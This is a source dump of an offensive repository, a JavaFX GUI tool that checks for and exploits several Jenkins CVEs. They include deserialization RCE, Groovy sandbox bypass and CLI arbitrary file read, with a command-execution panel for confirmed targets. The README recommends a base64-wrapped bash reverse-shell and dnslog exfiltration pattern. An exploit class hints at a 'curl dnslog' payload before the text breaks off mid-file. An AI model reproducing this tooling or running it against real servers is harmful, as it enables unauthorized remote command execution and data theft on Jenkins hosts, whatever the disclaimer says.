├── .idea ├── .gitignore ├── artifacts │ └── JenkinsExploit_GUI_jar.xml ├── compiler.xml ├── jarRepositories.xml └── misc.xml ├── README.md ├── img ├── img.png ├── img_1.png ├── img_2.png ├── img_3.png └── img_4.png ├── jfxrt.jar ├── pom.xml └── src ├── META-INF └── MANIFEST.MF └── main ├── java ├── META-INF │ └── MANIFEST.MF └── fun │ └── fireline │ ├── AppStartUp.java │ ├── controller │ ├── JenkinsController.java │ └── MainController.java │ ├── core │ ├── Constants.java │ ├── ExploitInterface.java │ └── VulCheckTask.java │ ├── exp │ ├── jenkins │ │ ├── CVE_2015_8103.java │ │ ├── CVE_2016_0792.java │ │ ├── CVE_2017_1000353.java │ │ ├── CVE_2018_1000600.java │ │ ├── CVE_2018_1000861.java │ │ ├── CVE_2018_1999002.java │ │ ├── CVE_2019_1003000.java │ │ ├── CVE_2019_1003005.java │ │ └── CVE_2024_23897.java │ └── tools │ │ ├── Payload.java │ │ └── dnslogSetting.java │ └── tools │ ├── Cert.java │ ├── HttpTools.java │ ├── Jenkins_Info.java │ ├── Response.java │ └── Tools.java └── resources ├── css └── main.css ├── fxml ├── Jenkins.fxml └── Main.fxml ├── img └── sec.png └── log4j.properties /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/artifacts/JenkinsExploit_GUI_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/JenkinsExploit_GUI_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JenkinsExploit-GUI 2 | 3 | ![JenkinsExploit-GUI](https://socialify.git.ci/TheBeastofwar/JenkinsExploit-GUI/image?description=1&forks=1&issues=1&language=1&name=1&owner=1&stargazers=1&theme=Light) 4 | 5 | 一款Jenkins综合漏洞利用工具 6 | ## 使用 7 | ### jdk版本 8 | 在windows或linux使用jdk8的哪一个版本应该都可以,在macOS里如果出现了找不到主类的错误,可能是因为当前java版本没有jfxrt.jar包,可以把这个jar包放在类似F:\java8\jdk1.8.0_102\jre\lib\ext这样的目录下 9 | jfxrt.jar包在JenkinsExploit-GUI项目源码中可以单独下载下来 10 | ### 外置payload 11 | 从release下载windows_tools,linux_tools或macOS_tools并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar相同的目录,或者可以自行打包tools_source中的python源码文件 12 | 13 | 如果是linux或macOS的话需要对外置payload进行chmod +x 赋予权限 14 | ![img.png](img/img.png) 15 | ![img_1.png](img/img_1.png) 16 | ### dnslog配置 17 | 进行dnslog设置,目前仅支持dnslog.pw和ceye.io 18 | 19 | ![img_3.png](img/img_3.png) 20 | ![img_4.png](img/img_4.png) 21 | ### 进行检测 22 | ![img_2.png](img/img_2.png) 23 | * 在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shell和dnslog外带信息 24 | ``` 25 | bash -c {echo,Y....}|{base64,-d}|{bash,-i} 26 | ``` 27 | ## 支持检测: 28 | - CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行 https://github.com/Medicean/VulApps/tree/master/j/jenkins/1 29 | - CVE-2016-0792 Jenkins XStream反序列化远程代码执行 https://github.com/jpiechowka/jenkins-cve-2016-0792 30 | - CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞 https://github.com/vulhub/CVE-2017-1000353 31 | - CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露 32 | - CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞 https://github.com/orangetw/awesome-jenkins-rce-2019 33 | - CVE-2018-1999002 Jenkins 任意文件读取 https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w 34 | - CVE-2019-1003000 Jenkins 远程代码执行 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc 35 | - CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过) https://github.com/orangetw/awesome-jenkins-rce-2019 36 | - CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞 https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897 37 | ## 未完待续: 38 | - CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc 39 | - CVE-2017-1000353 无法检测的bug 40 | - 继续尝试把外置的payload接入到java代码中 41 | - 添加批量检测功能 42 | ## 源码打包 43 | ``` 44 | mvn clean package -DskipTests 45 | cd target 46 | zip -d JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA' 47 | ``` 48 | ## Bug反馈 49 | https://github.com/thebeastofwar/JenkinsExploit-GUI 提交issues 50 | ## 文章 51 | [红队武器化开发:jenkins综合漏洞利用工具----JenkinsExploit-GUI](https://www.cnblogs.com/thebeastofwar/p/17991690) 52 | ## 免责声明 53 | 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 54 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** 55 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 56 | 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 57 | 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 58 | ## 开发日志 59 | ### v1.0 60 | - 以yhy0师傅的模板项目 https://github.com/yhy0/ExpDemo-JavaFX 为模板,写出了jenkins综合漏洞利用工具 61 | - 部分python的poc还未转成java代码接入到工具中,就打包成可执行文件 62 | ### v1.1 63 | - 添加Jenkins指纹验证和版本获取功能,使得能够通过版本先匹配一下CVE 64 | - 修复进行all检测后还得再次对特定的CVE进行检测的bug(经过版本检测后直接转到对应的CVE检测) 65 | ### v1.2 66 | - 可以配置dnslog.pw或ceye.io dnslog平台来进行自动化无回显命令执行或SSRF验证 67 | ### v1.3 68 | - 测试在macOS上的运行情况 69 | 70 | ## Stargazers over time 71 | [![Stargazers over time](https://starchart.cc/TheBeastofwar/JenkinsExploit-GUI.svg?variant=adaptive)](https://starchart.cc/TheBeastofwar/JenkinsExploit-GUI) 72 | -------------------------------------------------------------------------------- /img/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/img/img.png -------------------------------------------------------------------------------- /img/img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/img/img_1.png -------------------------------------------------------------------------------- /img/img_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/img/img_2.png -------------------------------------------------------------------------------- /img/img_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/img/img_3.png -------------------------------------------------------------------------------- /img/img_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/img/img_4.png -------------------------------------------------------------------------------- /jfxrt.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/jfxrt.jar -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | fun.fireline 8 | JenkinsExploit-GUI 9 | jar 10 | 1.3-SNAPSHOT 11 | 12 | 13 | 8 14 | 8 15 | 16 | 17 | 18 | 19 | com.jfoenix 20 | jfoenix 21 | 8.0.10 22 | 23 | 24 | 25 | 26 | com.alibaba 27 | fastjson 28 | 1.2.78 29 | 30 | 31 | 32 | 33 | log4j 34 | log4j 35 | 1.2.17 36 | 37 | 38 | 39 | 40 | com.offbytwo.jenkins 41 | jenkins-client 42 | 0.3.8 43 | 44 | 45 | 46 | 47 | org.bouncycastle 48 | bcprov-jdk15on 49 | 1.68 50 | 51 | 52 | 53 | 54 | 55 | 56 | org.apache.maven.plugins 57 | maven-assembly-plugin 58 | 3.3.0 59 | 60 | 61 | 62 | fun.fireline.AppStartUp 63 | 64 | 65 | 66 | jar-with-dependencies 67 | 68 | JenkinsExploit-GUI-1.3-SNAPSHOT 69 | 70 | 71 | 72 | make-assembly 73 | package 74 | 75 | single 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: fun.fireline.AppStartUp 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: fun.fireline.AppStartUp 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/AppStartUp.java: -------------------------------------------------------------------------------- 1 | package fun.fireline; 2 | 3 | import javafx.application.Application; 4 | import javafx.event.EventHandler; 5 | import javafx.fxml.FXMLLoader; 6 | import javafx.scene.Parent; 7 | import javafx.scene.Scene; 8 | import javafx.scene.image.Image; 9 | import javafx.stage.Stage; 10 | import javafx.stage.WindowEvent; 11 | 12 | 13 | public class AppStartUp extends Application { 14 | 15 | @Override 16 | public void start(Stage primaryStage) throws Exception{ 17 | Parent root = FXMLLoader.load(getClass().getClassLoader().getResource("fxml/Main.fxml")); 18 | primaryStage.setTitle("JenkinsExploit-GUI"); 19 | primaryStage.setScene(new Scene(root)); 20 | // 退出程序的时候,子线程也一起退出 21 | primaryStage.setOnCloseRequest(new EventHandler() { 22 | @Override 23 | public void handle(WindowEvent event) { 24 | System.exit(0); 25 | } 26 | }); 27 | //设置窗口不可拉伸 28 | primaryStage.setResizable(false); 29 | 30 | primaryStage.getIcons().add(new Image(getClass().getClassLoader().getResource("img/sec.png").toString())); 31 | 32 | primaryStage.show(); 33 | } 34 | 35 | 36 | public static void main(String[] args) { 37 | launch(args); 38 | } 39 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/controller/JenkinsController.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.controller; 2 | 3 | import fun.fireline.core.Constants; 4 | import fun.fireline.core.ExploitInterface; 5 | import fun.fireline.core.VulCheckTask; 6 | import fun.fireline.tools.Tools; 7 | import javafx.fxml.FXML; 8 | import javafx.scene.control.ChoiceBox; 9 | import javafx.scene.control.TextArea; 10 | import javafx.scene.control.TextField; 11 | 12 | 13 | // JavaFX图形化界面的控制类 14 | public class JenkinsController extends MainController{ 15 | @FXML 16 | private ChoiceBox choice_cve; 17 | @FXML 18 | private ChoiceBox encoding; 19 | @FXML 20 | private ChoiceBox platform; 21 | @FXML 22 | private TextArea basic_info; 23 | @FXML 24 | private TextArea cmd_info; 25 | @FXML 26 | private TextField cmd; 27 | @FXML 28 | private TextField url; 29 | 30 | private ExploitInterface ei; 31 | 32 | public static String BASICINFO = Constants.SECURITYSTATEMENT + 33 | 34 | "支持检测: \r\n" + 35 | "\tCVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行 https://github.com/Medicean/VulApps/tree/master/j/jenkins/1\r\n"+ 36 | "\tCVE-2016-0792 Jenkins XStream反序列化远程代码执行 https://github.com/jpiechowka/jenkins-cve-2016-0792\r\n"+ 37 | "\tCVE-2017-1000353 Jenkins-CI 远程代码执行漏洞 https://github.com/vulhub/CVE-2017-1000353\r\n"+ 38 | "\tCVE-2018-1000600 Jenkins GitHub SSRF+信息泄露\r\n"+ 39 | "\tCVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞 https://github.com/orangetw/awesome-jenkins-rce-2019\r\n"+ 40 | "\tCVE-2018-1999002 Jenkins 任意文件读取 https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w\r\n"+ 41 | "\tCVE-2019-1003000 Jenkins 远程代码执行 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc\r\n"+ 42 | "\tCVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过) https://github.com/orangetw/awesome-jenkins-rce-2019\r\n"+ 43 | "\tCVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞 https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897\r\n" + 44 | "未完待续:\r\n"+ 45 | "\tCVE-2016-9299 Jenkins ldap反序列化远程代码执行,poc添加\r\n"+ 46 | "\tCVE-2017-1000353无法显示的bug\r\n"+ 47 | "\t添加批量检测功能\r\n"+ 48 | "\t继续尝试把外置的payload接入到java代码中\r\n\r\n"+ 49 | 50 | Constants.UPDATEINFO; 51 | 52 | public static String[] Jenkins = { 53 | "all", 54 | "CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行", 55 | "CVE-2016-0792 Jenkins XStream反序列化远程代码执行", 56 | "CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞", 57 | "CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露", 58 | "CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞", 59 | "CVE-2018-1999002 Jenkins 任意文件读取", 60 | "CVE-2019-1003000 Jenkins 远程代码执行", 61 | "CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过)", 62 | "CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞", 63 | }; 64 | 65 | 66 | 67 | // 界面显示 一些默认的基本信息,漏洞列表、编码选项、线程、shell、页脚 68 | public void defaultInformation() { 69 | this.choice_cve.setValue(Jenkins[0]); 70 | for (String cve : Jenkins) { 71 | this.choice_cve.getItems().add(cve); 72 | } 73 | this.encoding.setValue(Constants.ENCODING[0]); 74 | 75 | for (String coding : Constants.ENCODING) { 76 | this.encoding.getItems().add(coding); 77 | } 78 | 79 | // 命令执行 80 | this.cmd_info.setText(" "); 81 | this.cmd_info.setWrapText(true); 82 | 83 | this.platform.setValue("Linux"); 84 | this.platform.getItems().add("Linux"); 85 | this.platform.getItems().add("Windows"); 86 | 87 | } 88 | 89 | // 基本信息 90 | public void basic() { 91 | // 切换界面保留原来的记录 92 | // 基本信息的历史记录 93 | if(history.containsKey("Jenkins_url")) { 94 | this.url.setText((String) history.get("Jenkins_url")); 95 | } 96 | if(history.containsKey("Jenkins_vulName")) { 97 | this.choice_cve.setValue((String) history.get("Jenkins_vulName")); 98 | } 99 | if(history.containsKey("Jenkins_ei")) { 100 | this.ei = (ExploitInterface) history.get("Jenkins_ei"); 101 | } 102 | if(history.containsKey("Jenkins_basic_info")) { 103 | this.basic_info.setText((String) history.get("Jenkins_basic_info")); 104 | } else { 105 | this.basic_info.setText(BASICINFO); 106 | } 107 | this.basic_info.setWrapText(true); 108 | 109 | // 命令执行的历史记录 110 | if(history.containsKey("Jenkins_cmd")) { 111 | this.cmd.setText((String) history.get("Jenkins_cmd")); 112 | } 113 | if(history.containsKey("Jenkins_encoding")) { 114 | this.encoding.setValue((String) history.get("Jenkins_encoding")); 115 | } 116 | if(history.containsKey("Jenkins_cmd_info")) { 117 | this.cmd_info.setText((String) history.get("Jenkins_cmd_info")); 118 | } 119 | 120 | } 121 | 122 | // 点击检测,获取url 和 要检测的漏洞 123 | @FXML 124 | public void check() { 125 | String url = Tools.urlParse(this.url.getText().trim()); 126 | history.put("Jenkins_url", this.url.getText()); 127 | String vulName = this.choice_cve.getValue().toString().trim(); 128 | history.put("Jenkins_vulName", this.choice_cve.getValue()); 129 | 130 | try { 131 | if (vulName.equals("all")) { 132 | this.basic_info.setText(""); 133 | for (String vul : this.choice_cve.getItems()) { 134 | if (!vul.equals("all")) { 135 | //等待Jenkins_Info加载完 136 | Thread.sleep(100); 137 | VulCheckTask vulCheckTask = new VulCheckTask(this.url.getText(), vul); 138 | vulCheckTask.messageProperty().addListener((observable, oldValue, newValue) -> { 139 | this.basic_info.appendText("\t" + newValue + "\r\n\r\n"); 140 | if(newValue.contains("[+]")) { 141 | this.choice_cve.setValue(vul); 142 | this.ei = Tools.getExploit(vul); 143 | try { 144 | this.ei.checkVul(url); 145 | } catch (Exception e) { 146 | e.printStackTrace(); 147 | } 148 | } 149 | }); 150 | (new Thread(vulCheckTask)).start(); 151 | } 152 | } 153 | } else { 154 | this.ei = Tools.getExploit(vulName); 155 | String result = this.ei.checkVul(url); 156 | 157 | this.basic_info.setText("\r\n\t" + result + "\r\n\r\n\t"); 158 | 159 | } 160 | 161 | } catch (Exception e) { 162 | this.basic_info.setText("\r\n\t检测异常 \r\n\t\t\t" + e.toString()); 163 | } 164 | 165 | history.put("Jenkins_ei", this.ei); 166 | 167 | history.put("Jenkins_basic_info", this.basic_info.getText()); 168 | 169 | } 170 | 171 | // 命令执行 172 | @FXML 173 | public void get_execute_cmd() { 174 | String cmd = this.cmd.getText(); 175 | String encoding = this.encoding.getValue().toString().trim(); 176 | 177 | history.put("Jenkins_cmd", this.cmd.getText()); 178 | history.put("Jenkins_encoding", this.encoding.getValue()); 179 | 180 | if(cmd.length() == 0) { 181 | cmd = "whoami"; 182 | } 183 | 184 | try { 185 | if(this.ei.isVul()) { 186 | String result = this.ei.exeCmd(cmd, encoding); 187 | this.cmd_info.setText(result); 188 | 189 | } else { 190 | this.cmd_info.setText("请先进行漏洞检测,确认漏洞存在"); 191 | } 192 | 193 | } catch (Exception var4) { 194 | this.cmd_info.setText("请先进行漏洞检测,确认漏洞存在\r\n"); 195 | this.cmd_info.appendText("error: " + var4.toString()); 196 | } 197 | history.put("Jenkins_cmd_info", this.cmd_info.getText()); 198 | } 199 | 200 | // 加载 201 | public void initialize() { 202 | try { 203 | this.basic(); 204 | this.defaultInformation(); 205 | } catch (Exception e) { 206 | e.printStackTrace(); 207 | } 208 | } 209 | 210 | 211 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/controller/MainController.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.controller; 2 | 3 | import com.jfoenix.controls.JFXButton; 4 | import fun.fireline.core.Constants; 5 | import fun.fireline.exp.tools.dnslogSetting; 6 | import javafx.collections.FXCollections; 7 | import javafx.fxml.FXML; 8 | import javafx.fxml.FXMLLoader; 9 | import javafx.geometry.Insets; 10 | import javafx.geometry.Pos; 11 | import javafx.scene.Node; 12 | import javafx.scene.control.Button; 13 | import javafx.scene.control.Label; 14 | import javafx.scene.control.MenuItem; 15 | import javafx.scene.control.TextField; 16 | import javafx.scene.control.*; 17 | import javafx.scene.input.MouseEvent; 18 | import javafx.scene.layout.AnchorPane; 19 | import javafx.scene.layout.GridPane; 20 | import javafx.scene.layout.HBox; 21 | import javafx.scene.layout.VBox; 22 | import javafx.stage.Window; 23 | import org.apache.log4j.Logger; 24 | 25 | import java.awt.*; 26 | import java.net.*; 27 | import java.util.HashMap; 28 | import java.util.Map; 29 | 30 | // 主页面相关逻辑 31 | public class MainController { 32 | public static Logger logger = Logger.getLogger(MainController.class); 33 | @FXML 34 | private MenuItem dnslogSetupBtn; 35 | @FXML 36 | private Label tool_name; 37 | @FXML 38 | private Label author; 39 | @FXML 40 | private Label dnslogStatusLable; 41 | @FXML 42 | private VBox selectButton; // 漏洞种类按钮 43 | @FXML 44 | private AnchorPane content; // 按钮对应的功能 45 | @FXML 46 | private JFXButton initial; 47 | 48 | public static Map history = new HashMap(); 49 | 50 | // 设置相关信息保存 51 | public static Map settingInfo = new HashMap(); 52 | 53 | // 监听菜单事件 54 | private void initToolbar() { 55 | //dnslog 设置 56 | this.dnslogSetupBtn.setOnAction((event) -> { 57 | Alert inputDialog = new Alert(Alert.AlertType.NONE); 58 | Window window = inputDialog.getDialogPane().getScene().getWindow(); 59 | window.setOnCloseRequest((e)->{ 60 | window.hide(); 61 | }); 62 | inputDialog.setTitle("dnslog设置"); 63 | ToggleGroup statusGroup = new ToggleGroup(); 64 | RadioButton enableRadio = new RadioButton("启用"); 65 | RadioButton disableRadio = new RadioButton("禁用"); 66 | enableRadio.setToggleGroup(statusGroup); 67 | disableRadio.setToggleGroup(statusGroup); 68 | disableRadio.setSelected(true); 69 | HBox statusHbox = new HBox(); 70 | statusHbox.setSpacing(10.0D); 71 | statusHbox.getChildren().add(enableRadio); 72 | statusHbox.getChildren().add(disableRadio); 73 | GridPane dnslogGridPane = new GridPane(); 74 | dnslogGridPane.setVgap(15.0D); 75 | dnslogGridPane.setPadding(new Insets(20.0D,20.0D,0.0D,10.0D)); 76 | Label typeLable = new Label("dnslog平台:"); 77 | ComboBox typeCombo = new ComboBox(); 78 | typeCombo.setItems(FXCollections.observableArrayList(new String[]{"dnslog.pw","ceye.io"})); 79 | typeCombo.getSelectionModel().select(0); 80 | Label domainLable = new Label("dnslog子域名:"); 81 | TextField domainText = new TextField(""); 82 | Label tokenLable = new Label("api token:"); 83 | TextField tokenText = new TextField(""); 84 | Button cancelBtn = new Button("取消"); 85 | Button saveBtn = new Button("保存"); 86 | 87 | saveBtn.setOnAction((e)->{ 88 | if(disableRadio.isSelected()){ 89 | settingInfo.put("domain",(Object) null); 90 | dnslogStatusLable.setText(""); 91 | inputDialog.getDialogPane().getScene().getWindow().hide(); 92 | }else { 93 | if(!domainText.getText().trim().equals("")){ 94 | dnslogSetting dnslogSetting = new dnslogSetting(); 95 | dnslogSetting.setDomain(domainText.getText().trim()); 96 | dnslogSetting.setToken(tokenText.getText().trim()); 97 | dnslogSetting.setType(typeCombo.getValue().toString()); 98 | } 99 | } 100 | dnslogStatusLable.setText("dnslog生效中"); 101 | inputDialog.getDialogPane().getScene().getWindow().hide(); 102 | }); 103 | 104 | cancelBtn.setOnAction((e)->{ 105 | inputDialog.getDialogPane().getScene().getWindow().hide(); 106 | }); 107 | dnslogGridPane.add(statusHbox,1,0); 108 | dnslogGridPane.add(typeLable,0,1); 109 | dnslogGridPane.add(typeCombo,1,1); 110 | dnslogGridPane.add(domainLable,0,2); 111 | dnslogGridPane.add(domainText,1,2); 112 | dnslogGridPane.add(tokenLable,0,3); 113 | dnslogGridPane.add(tokenText,1,3); 114 | HBox buttonBox = new HBox(); 115 | buttonBox.setSpacing(20.0D); 116 | buttonBox.setAlignment(Pos.CENTER); 117 | buttonBox.getChildren().add(cancelBtn); 118 | buttonBox.getChildren().add(saveBtn); 119 | GridPane.setColumnSpan(buttonBox,2); 120 | dnslogGridPane.add(buttonBox,0,4); 121 | inputDialog.getDialogPane().setContent(dnslogGridPane); 122 | inputDialog.showAndWait(); 123 | }); 124 | } 125 | 126 | // 加载 127 | @FXML 128 | public void initialize() { 129 | // 设置 130 | this.initToolbar(); 131 | // 页脚 132 | this.tool_name.setText(String.format(this.tool_name.getText(), Constants.NAME, Constants.VERSION)); 133 | this.author.setText(String.format(this.author.getText(), Constants.AUTHOR)); 134 | 135 | this.initial.setOnAction((e) -> { 136 | try { 137 | Desktop.getDesktop().browse(new URL("https://github.com/thebeastofwar").toURI()); 138 | } catch (Exception e1) { 139 | logger.debug(e1); 140 | } 141 | }); 142 | 143 | // lambda 表达式获取 drawer 中的按钮,切换界面 144 | for (Node node: selectButton.getChildren()){ 145 | if (node.getAccessibleText() != null){ 146 | node.addEventHandler(MouseEvent.MOUSE_CLICKED, (e) -> { 147 | refreshPage(node.getAccessibleText()); 148 | }); 149 | } 150 | } 151 | refreshPage("Jenkins"); 152 | } 153 | 154 | private void refreshPage(String page){ 155 | try { 156 | this.content.getChildren().clear(); 157 | AnchorPane contentPage = FXMLLoader.load(getClass().getClassLoader().getResource("fxml/" + page + ".fxml")); 158 | 159 | this.content.getChildren().add(contentPage); 160 | } catch (Exception e) { 161 | logger.debug(e); 162 | } 163 | } 164 | 165 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/core/Constants.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.core; 2 | 3 | 4 | public class Constants { 5 | 6 | public static String NAME = "JenkinsExploit-GUI"; 7 | 8 | public static String VERSION = "v1.3"; 9 | 10 | public static String AUTHOR = "by initial"; 11 | 12 | public static String SECURITYSTATEMENT = "\t\t\t\t\t\t\t\t\t----------------------------------------------------------------\r\n\t\t\t" + 13 | "\t\t\t\t\t\t\t\t本工具仅提供给安全测试人员进行安全自查使用\r\n\t\t\t" + 14 | "\t\t\t\t\t\t\t\t用户滥用造成的一切后果与作者无关\r\n\t\t\t" + 15 | "\t\t\t\t\t\t\t\t使用者请务必遵守当地法律\r\n\t\t\t" + 16 | "\t\t\t\t\t\t\t\t本程序不得用于商业用途,仅限学习交流\r\n\t\t\t" + 17 | "\t\t\t\t\t\t----------------------------------------------------------------\r\n\r\n" + 18 | "\t\t\t\t\t\t\t\t\t\t感谢yhy0师傅的模板项目 https://github.com/yhy0/ExpDemo-JavaFX\r\n\t\t\t\r\n\r\n"; 19 | 20 | public static String UPDATEINFO = 21 | "Bug反馈: https://github.com/thebeastofwar/JenkinsExploit-GUI\r\n\r\n" + 22 | "v1.0\r\n" + 23 | "\t以yhy0师傅的模板项目 https://github.com/yhy0/ExpDemo-JavaFX为模板,写出了jenkins综合漏洞利用工具\r\n"+ 24 | "\t部分python的poc还未转成java代码接入到工具中,就打包成可执行文件\r\n"+ 25 | "v1.1\r\n"+ 26 | "\t添加Jenkins指纹验证和版本获取功能,使得能够通过版本先匹配一下CVE\r\n"+ 27 | "\t修复进行all检测后还得再次对特定的CVE进行检测的bug\r\n"+ 28 | "v1.2\r\n"+ 29 | "\t可以配置dnslog.pw或ceye.io dnslog平台来进行自动化无回显命令执行或SSRF验证\r\n"+ 30 | "v1.3\r\n"+ 31 | "\t经过测试,发现macOS系统上的各种报错基本都是jdk版本的问题或者macOS的一些设置的问题,所以代码没有什么大的变化\r\n"+ 32 | "\t添加macOS的外部payload"; 33 | 34 | public static String[] ENCODING = { 35 | "UTF-8", 36 | "GBK", 37 | "GBK2312", 38 | "ISO-8859-1" 39 | }; 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/core/ExploitInterface.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.core; 2 | 3 | // exp 的接口,取自 shack2 的Java反序列化漏洞利用工具V1.7 4 | public interface ExploitInterface { 5 | 6 | String checkVul(String url) throws Exception; 7 | 8 | String exeCmd(String cmd, String encoding) throws Exception; 9 | 10 | boolean isVul(); 11 | 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/core/VulCheckTask.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.core; 2 | 3 | import fun.fireline.tools.Tools; 4 | import javafx.concurrent.Task; 5 | 6 | public class VulCheckTask extends Task { 7 | private String target; 8 | private String vulName; 9 | private String result; 10 | 11 | public VulCheckTask(String target, String vulName) { 12 | this.target = target; 13 | this.vulName = vulName; 14 | } 15 | 16 | protected Void call() throws Exception { 17 | String result = Tools.getExploit(vulName).checkVul(this.target); 18 | this.updateMessage(result); 19 | this.setResult(result); 20 | 21 | return null; 22 | } 23 | 24 | public void setResult(String result) { 25 | this.result = result; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2015_8103.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.Jenkins_Info; 6 | 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | import java.util.concurrent.TimeUnit; 12 | import java.util.regex.Matcher; 13 | import java.util.regex.Pattern; 14 | 15 | import static fun.fireline.tools.Tools.*; 16 | 17 | public class CVE_2015_8103 implements ExploitInterface { 18 | 19 | private String url = ""; 20 | private boolean isVul = false; 21 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 22 | private dnslogSetting dnslogSetting = new dnslogSetting(); 23 | 24 | @Override 25 | public String checkVul(String url) { 26 | this.url = url; 27 | String version = jenkins_info.get_Jenkions_Info(url); 28 | if(version==null){ 29 | return "[-] 目标非Jenkins"; 30 | } 31 | String dnslog = dnslogSetting.getDomain(); 32 | if(dnslog==null){ 33 | return "请进行dnslog配置"; 34 | } 35 | String basic = "CVE-2015-8103 Jenkins 反序列化无回显远程代码执行,请从文件读取/命令执行模块进行判断 eg:CommonsCollections1|curl dnslog.cn 